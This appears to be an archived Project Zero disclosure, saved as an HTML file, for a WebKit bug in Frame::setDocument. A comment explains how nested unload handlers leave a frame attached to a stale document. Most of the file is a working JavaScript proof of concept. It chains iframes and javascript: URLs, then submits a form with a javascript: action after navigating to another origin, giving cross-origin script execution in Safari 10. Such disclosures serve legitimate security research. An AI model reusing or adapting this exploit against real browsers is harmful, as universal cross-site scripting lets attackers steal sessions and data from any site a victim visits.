55 lines
No EOL
1.6 KiB
HTML
55 lines
No EOL
1.6 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057
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Here's a snippet of Frame::setDocument.
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void Frame::setDocument(RefPtr<Document>&& newDocument)
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{
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ASSERT(!newDocument || newDocument->frame() == this);
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if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
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m_doc->prepareForDestruction();
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m_doc = newDocument.copyRef();
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...
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}
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Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
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PoC:
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-->
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"use strict";
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let f = document.documentElement.appendChild(document.createElement("iframe"));
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let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
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a.contentWindow.onunload = () => {
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f.src = "javascript:''";
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let b = f.contentDocument.appendChild(document.createElement("iframe"));
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b.contentWindow.onunload = () => {
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f.src = "javascript:''";
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let doc = f.contentDocument;
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f.onload = () => {
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f.onload = () => {
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f.onload = null;
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let s = doc.createElement("form");
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s.action = "javascript:alert(location)";
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s.submit();
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};
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f.src = "https://abc.xyz/";
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};
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};
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};
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f.src = "javascript:''";
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<!--
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Tested on Safari 10.0.2(12602.3.12.0.1).
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--> |